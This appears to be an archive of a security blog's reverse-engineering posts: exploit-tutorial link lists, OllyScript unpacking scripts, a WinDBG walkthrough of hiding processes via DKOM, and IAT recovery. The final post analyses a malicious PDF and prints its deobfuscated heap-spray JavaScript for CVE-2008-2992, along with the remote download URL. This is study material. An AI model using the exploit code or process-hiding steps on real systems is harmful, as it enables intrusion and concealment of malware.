Showing posts with label tutorial. Show all posts
Showing posts with label tutorial. Show all posts

Sunday, March 14, 2010

[TUTORIAL] Exploit Writting Tutorial From Basic To Intermediate

Exploit Writting Tutorial From Basic To Advanced


There are increasing number of bloggers who like to share thier knowledge in exploit especially the topic on how to create and write your own exploit.

In this post, I would like to combine the exploits tutorial that I have came across. This is not the comprehensive collection but at least its a good starting point for exploits beginners.

BASIC

David Hoelzer tutorial that is intended for application/software developers from SANS Institude. For application/software developers, the overall presentation is meant to explain the basic concept of buffer overflow, how does it occurs, how to exploit it using manual/automation way and create the exploit using metasploit and automate the exploitation process.

The source code of the vulnerable server can be found on his blog.

The video tutorials can be downloaded here

-- Reference: http://www.enclaveforensics.com/Blog/files/e6fb7327cb615688f90fc07656a3880d-28.html


INTERMEDIATE

I consider this as intermediate and focus more on the real application exploit. Lupin from The Grey Corner explains exploit from basic to intermediate level with step by step debugging. Here is the summary:
  1. Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html
  2. SEH Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html
  3. Windows Buffer Overflow Tutorial: Dealing with Character Translation - http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html 
  4. Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability - http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html
  5. Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump - http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html
 
-- Reference: http://grey-corner.blogspot.com


ADVANCED

Peter Van Eeckhoutte is the first one who started this exploit tutorial (at least he is the first one who has provided most comprehensive guides on exploit development and keeps updating from time to time that I have ever seen).

Peter Van Eeckhoutte

  1. Exploit writting tutorial part 1:Stack Based Overflows - http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
  2. Exploit writting tutorial part 2: Stack Based Overflows - jumping to shellcode - http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
  3. Exploit writting tutorial part 3: SEH Based Exploits - http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
  4. Exploit writting tutorial part 3b: SEH Based Exploits - just another example - http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
  5. Exploit writting tutorial part 4: From Exploit to Metasploit - The basics - http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
  6. Exploit writting tutorial part 5: How debugger modules & plugins can speed up basic exploit development - http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/
  7. Exploit writting tutorial part 6: Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
  8. Exploit writting tutorial part 7: Unicode - from 0x00410041 to calc - http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
  9. Exploit writting tutorial part 8: Win32 Egg Hunting - http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  10. Exploit writting tutorial part 9: Introduction to Win32 shellcoding - http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

-- Reference: http://www.corelan.be:8800


If you have any nice exploit tutorials, please feel free to leave a comment here to share with others :)

Thanks!

Update:
- Part 5 from grey-corner [24/04/2010]

Monday, September 14, 2009

Ollyscript Tutorial - Unpack ASPack

ASPack is actually similar to UPX.

Using PEiD: ASPack 2.12 -> Alexey Solodovnikov

The script
-----------

var hwBP // Local var for hwBP

mov hwBP, esp // Using esp trick

bphws hwBP, "r" // Set hardware breakpoint

run // Run

rtr // Execute till return

sto // F8

msg "OEP found"

cmt eip, "<<<<>>>>"

ret

Download: Notepad.exe packed with ASPack

Signing off
~x9090

Thursday, September 10, 2009

[DOC] Understanding DKOM with WinDBG

Process hiding can be achieved by using a technique called DKOM (Direct Kernel Object Manipulation). I started to discover this when I first read the book Rootkit: Subverting the Windows Kernel.


WinDBG

Using Task Manager (Ctrl + Alt + Del) and we see the list of processes:


We can find the chain of active processes by looking at the global kernel variable which is not exported by the kernel and undocumented PsActiveProcessHead.

PsActiveProcessHead contains a linked list LIST_ENTRY for the current active processes being processed by the kernel.

The "system" process is always in the FIRST ENTRY which can be found by calling kernel API PsInitialSystemProcess. The function will return a pointer to the EPROCESS structure of "system" process. The EPROCESS.ActiveProcessLinks.Blink is the PsActiveProcessHead. To verify that:

Let's see the EPROCESS and LIST_ENTRY structure

kd> dt _eprocess
ntdll!_EPROCESS

+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage : [3] Uint4B
+0x09c QuotaPeak : [3] Uint4B
+0x0a8 CommitCharge : Uint4B
+0x0ac PeakVirtualSize : Uint4B
+0x0b0 VirtualSize : Uint4B
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
+0x0c0 ExceptionPort : Ptr32 Void
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : Uint4B
+0x0f0 AddressCreationLock : _FAST_MUTEX
+0x110 HyperSpaceLock : Uint4B
+0x114 ForkInProgress : Ptr32 _ETHREAD
+0x118 HardwareTrigger : Uint4B
+0x11c VadRoot : Ptr32 Void
+0x120 VadHint : Ptr32 Void
+0x124 CloneRoot : Ptr32 Void
+0x128 NumberOfPrivatePages : Uint4B
+0x12c NumberOfLockedPages : Uint4B
+0x130 Win32Process : Ptr32 Void
+0x134 Job : Ptr32 _EJOB
+0x138 SectionObject : Ptr32 Void
+0x13c SectionBaseAddress : Ptr32 Void
+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x148 Win32WindowStation : Ptr32 Void
+0x14c InheritedFromUniqueProcessId : Ptr32 Void
+0x150 LdtInformation : Ptr32 Void
+0x154 VadFreeHint : Ptr32 Void
+0x158 VdmObjects : Ptr32 Void
+0x15c DeviceMap : Ptr32 Void
+0x160 PhysicalVadList : _LIST_ENTRY
+0x168 PageDirectoryPte : _HARDWARE_PTE_X86
+0x168 Filler : Uint8B
+0x170 Session : Ptr32 Void
+0x174 ImageFileName : [16] UChar
+0x184 JobLinks : _LIST_ENTRY
+0x18c LockedPagesList : Ptr32 Void
+0x190 ThreadListHead : _LIST_ENTRY
+0x198 SecurityPort : Ptr32 Void
+0x19c PaeTop : Ptr32 Void
+0x1a0 ActiveThreads : Uint4B
+0x1a4 GrantedAccess : Uint4B
+0x1a8 DefaultHardErrorProcessing : Uint4B
+0x1ac LastThreadExitStatus : Int4B
+0x1b0 Peb : Ptr32 _PEB
+0x1b4 PrefetchTrace : _EX_FAST_REF
+0x1b8 ReadOperationCount : _LARGE_INTEGER
+0x1c0 WriteOperationCount : _LARGE_INTEGER
+0x1c8 OtherOperationCount : _LARGE_INTEGER
+0x1d0 ReadTransferCount : _LARGE_INTEGER
+0x1d8 WriteTransferCount : _LARGE_INTEGER
+0x1e0 OtherTransferCount : _LARGE_INTEGER
+0x1e8 CommitChargeLimit : Uint4B
+0x1ec CommitChargePeak : Uint4B
+0x1f0 AweInfo : Ptr32 Void
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f8 Vm : _MMSUPPORT
+0x238 LastFaultCount : Uint4B
+0x23c ModifiedPageCount : Uint4B
+0x240 NumberOfVads : Uint4B
+0x244 JobStatus : Uint4B
+0x248 Flags : Uint4B
+0x248 CreateReported : Pos 0, 1 Bit
+0x248 NoDebugInherit : Pos 1, 1 Bit
+0x248 ProcessExiting : Pos 2, 1 Bit
+0x248 ProcessDelete : Pos 3, 1 Bit
+0x248 Wow64SplitPages : Pos 4, 1 Bit
+0x248 VmDeleted : Pos 5, 1 Bit
+0x248 OutswapEnabled : Pos 6, 1 Bit
+0x248 Outswapped : Pos 7, 1 Bit
+0x248 ForkFailed : Pos 8, 1 Bit
+0x248 HasPhysicalVad : Pos 9, 1 Bit
+0x248 AddressSpaceInitialized : Pos 10, 2 Bits
+0x248 SetTimerResolution : Pos 12, 1 Bit
+0x248 BreakOnTermination : Pos 13, 1 Bit
+0x248 SessionCreationUnderway : Pos 14, 1 Bit
+0x248 WriteWatch : Pos 15, 1 Bit
+0x248 ProcessInSession : Pos 16, 1 Bit
+0x248 OverrideAddressSpace : Pos 17, 1 Bit
+0x248 HasAddressSpace : Pos 18, 1 Bit
+0x248 LaunchPrefetched : Pos 19, 1 Bit
+0x248 InjectInpageErrors : Pos 20, 1 Bit
+0x248 VmTopDown : Pos 21, 1 Bit
+0x248 Unused3 : Pos 22, 1 Bit
+0x248 Unused4 : Pos 23, 1 Bit
+0x248 VdmAllowed : Pos 24, 1 Bit
+0x248 Unused : Pos 25, 5 Bits
+0x248 Unused1 : Pos 30, 1 Bit
+0x248 Unused2 : Pos 31, 1 Bit
+0x24c ExitStatus : Int4B
+0x250 NextPageColor : Uint2B
+0x252 SubSystemMinorVersion : UChar
+0x253 SubSystemMajorVersion : UChar
+0x252 SubSystemVersion : Uint2B
+0x254 PriorityClass : UChar
+0x255 WorkingSetAcquiredUnsafe : UChar
+0x258 Cookie : Uint4B

You can also check the structure on this page: http://www.acc.umu.se/~bosse/ntifs.h
kd> dt _list_entry
ntdll!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY

We first start to verify PsActiveProcessHead by checking the linked list:

kd> dl nt!psactiveprocesshead 100 2

Addr Flink Blink

805627b8 825c68b8 82499c68
825c68b8 821f2818 805627b8
821f2818 8211b680 825c68b8
8211b680 8229fe28 821f2818
8229fe28 820bde28 8211b680
820bde28 8220fe28 8229fe28
8220fe28 82290910 820bde28
82290910 821c90a8 8220fe28
821c90a8 8223e3a0 82290910
8223e3a0 82102c98 821c90a8
82102c98 8216b3a0 8223e3a0
8216b3a0 820f8680 82102c98
820f8680 82176aa8 8216b3a0
82176aa8 821611b8 820f8680
821611b8 8221ce28 82176aa8
8221ce28 8218f5b0 821611b8
8218f5b0 822484e8 8221ce28
822484e8 82252aa8 8218f5b0
82252aa8 821fb258 822484e8
821fb258 82147770 82252aa8
82147770 821cfc40 821fb258
821cfc40 8218daa8 82147770
8218daa8 820f7538 821cfc40
820f7538 822153a0 8218daa8
822153a0 8211fe28 820f7538
8211fe28 825cb908 822153a0
825cb908 82128e28 8211fe28
82128e28 820f3510 825cb908
820f3510 8210ce28 82128e28
8210ce28 820fd7c8 820f3510
820fd7c8 82234630 8210ce28
82234630 821da510 820fd7c8
821da510 821a9658 82234630
821a9658 82143c40 821da510
82143c40 822a80a8 821a9658
822a80a8 8230b0a8 82143c40
8230b0a8 8231d2d8 822a80a8
8231d2d8 821f4b20 8230b0a8
821f4b20 82499c68 8231d2d8
82499c68 805627b8 821f4b20


We can then use Kernel API PsInitialSystemProcess to look for the address of PsActiveProcessHead which should be 0x805627b8

kd> dt _eprocess activeprocesslinks.blink poi(psinitialsystemprocess)
ntdll!_EPROCESS
+0x088 ActiveProcessLinks : [ 0x821f2818 - 0x805627b8 ]
+0x004 Blink : 0x805627b8 _LIST_ENTRY [ 0x825c68b8 - 0x82499c68 ]

We prove that 0x805627b8 is the address of PsActiveProcessHead that contains linked list of ActiveProcessLinks [Flink & Blink] for "system" process [Flink=0x825c68b8, Blink=0x82499c68] process, in order to verify that:


We take "system" process Flink address 0x825c68b8-0x88 in order to get its EPROCESS structure (please refer to "dt _eprocess" and check the offset of ActiveProcessLinks=Flink):

kd> dt _eprocess 0x825c68b8-0x88
ntdll!_EPROCESS

+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER 0x0
+0x078 ExitTime : _LARGE_INTEGER 0x0
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : 0x00000004
+0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x821f2818 - 0x805627b8 ]

...
+0x174 ImageFileName : [16] "System"
...
The ImageFileName gives us the process name which is "system" and the "system" process always has the process id 4 (UniqueProcessId: 0x00000004)


Hiding Processes

So we know that [ 0x821f2818 - 0x805627b8 ] is the start of the active process chain. In order to hide the processes, we can remove the EPROCESS structure from this chain. For simplicity, I'll "remove" all the chains that's mean hiding all the processes:


kd> ed 805627b8
805627b8 825c68b8
Input> 805627b8

Use ed command to edit the memory address @ 0x805627b8 (remember this is PsActiveProcessHead and it is always start with "system" process) and the debugger is waiting for your input. So just edit the address to point back to itself 0x805627b8

The result would be:



References:

Rootkit: Subverting the Windows Kernel (Page 169) - Direct Kernel Object Manipulation
http://www.rootkit.com/vault/Opc0de/GetVarXP.pdf - Finding Kernel Global Variables
http://www.xfocus.net/articles/200408/724.html - 获取Windows 系统的内核变量

Wednesday, July 22, 2009

Ollyscript Tutorial - Unpack UPX

This is the simplest Ollyscript tutorial to demonstrate how to write Ollydbg script.

var hwdBP // Local variable to store hardware breakpoint
var softBP
// Local variable to strore software breakpoint
sti
// Step into F7 command
findop eip, #61#
// find next POPAD
mov hwdBP, $RESULT
// Store $RESULT to hardware breakpoint local variable
bphws hwdBP, "x"
// Set hardware breakpoint (execute) on the next POPAD
run
// Run F9 command
findop eip, #E9????????#
// Find the next JMP
mov softBP, $RESULT
// Store $RESULT to software breakpoint local variable
bp softBP
run
// Run to JMP instruction
sti
// Step into the OEP
cmt eip, "<<>>"
msg "OEP found, you can dump the file starting from this address"
ret

Downloads:

Ollyscript Editor V2.0
Ollyscript Plugin V0.94 - ORIGINAL_README.txt - List of Ollyscript Commands by SHaG
ARTeam_eZine_Number2.rar - Page 36 - Writing OllyDbg Scripts, Buzifer of Team RESURRECTiON from ARTeam

Signing off
~x9090

Saturday, April 4, 2009

Manual IAT Recovery Using ImpREC

There are a lot of tutorial on the Internet teaching how to use ImpREC to recover Import Address Table (IAT). But those tutorials are only covered using the "Auto IAT Search" function by Imprec. The "auto" function is not able to fully recover the IAT like this:


How do we determine these are the unresolved APIs? Try using OllyDbg, find the OEP, it is fairly easy to find it if the sample was packed by UPX ;) , and Follow in Dump -> Memory Address to any API's call, for example:


Now in the Memory Dump window, switch to Address view and then you can see the list of APIs:



These are the IAT that we missed just now when loading it to IDA. So the next thing is to recover this so that we can continue static analysis on IDA. Scroll up until 0 byte memory address which is beginning IAT relative virtual Address (491cc) and scroll down until 0 byte memory address which is the ending IAT relative virtual address (49338).

Dump the sample using OllyDump, then we can start ImpREC to recover the IAT using the starting RVA we found just now. Using the AutoSearch button will give us:


Notice that the original IAT RVA found at 49284 seems to be incorrect. If you fix the dump with this option you will see the unresolved APIs as shown in the first figure. So we need to set the OEP, RVA and Size (49338-491cc) manually and select Get Imports:



We can now fix the dump using Fix Dump button, select the file that was dumped by OllDbg just now. Done! Next we can load to IDA and see the result:


Signing off
~x9090

Monday, November 17, 2008

Static Analysis of Malicious PDF Exploited by CVE-2008-2992

There is an exploit in the wild on Adobe Reader CoreSecurity and after a few days the advisory released, the first POC was also released by Elazar on milw0rm. It took only one week for the first malware exploit spread over the Internet which is detected by F-Secure as Exploit:W32/APSB08-19.B

This is analysis that I have done on the malicious PDF file.

Target: doc1.pdf.1
MD5: 0f6af57c8ba2b3cdd9593223ca38e2de
SHA1: 93044e9484357e0de6c4dd618ded8beb2e43f878

One of the common technique for PDF decompression is using zlib. Not suprisingly, this sample was deflated using zlib as well:



We can easily inflate this contents using Ghostscript with pdfinflt.ps file that comes with it. We can use the command below:

>gs -- "C:\Program Files\gs\toolbin\pdfinflt.ps" doc1.pdf.1 out.pdf.1
GPL Ghostscript 8.50 (2005-12-31)
Copyright (C) 2005 artofcode LLC, Benicia, CA. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Converting doc1.pdf.1 to out.pdf.1
Done.


You will see the similar output indicates the file has been inflated successfully. The inflated PDF contents:


The first screenshot shows the deobfuscated shellcode and the second one shows the obfuscated javascript. Obviously from the screenshot below, we know the deobfuscation can be done using "unescape" javascript method:



Using unescape function, we can easily convert the obfuscated code to readable javascript code:

var sccs = unescape(this.getField('text').value);
var bgbl = unescape("%u0A0A"+"%u0A0A");
var slspc = 20 + sccs.length;
while(bgbl.length < slspc) bgbl += bgbl;
var fblk = bgbl.substring(0,slspc);
var blk = bgbl.substring(0,bgbl.length - slspc);
while(blk.length + slspc < 0x60000)
blk = blk + blk + fblk;
var mmy = new Array();
for(i = 0; i < 1200; i++){ mmy[i] = blk + sccs }
var nm = 12; for(i=0;i<18;i++){ nm = nm + "9"; }
for(i=0;i<276;i++){ nm = nm + "8"; }
util.printf(unescape(""+"%"+"25%34%"+"35%30%30%30%66"), nm);
this.closeDoc(true);
This javascript code uses heap spray technique for exploitation. This exploit is using a slightly different method from the POC in which the author uses the loop to concatenate to a large number that will overflow the util.printf(), unlike POC it uses a prdefined large number.

Shellcode2exe is used to convert the unicode shell into bytecode:

By using some debugging technique, we can find the payload where this exploits try to download an arbitrary .HTA file from the remote server http://adxdnet.net/code/srun.php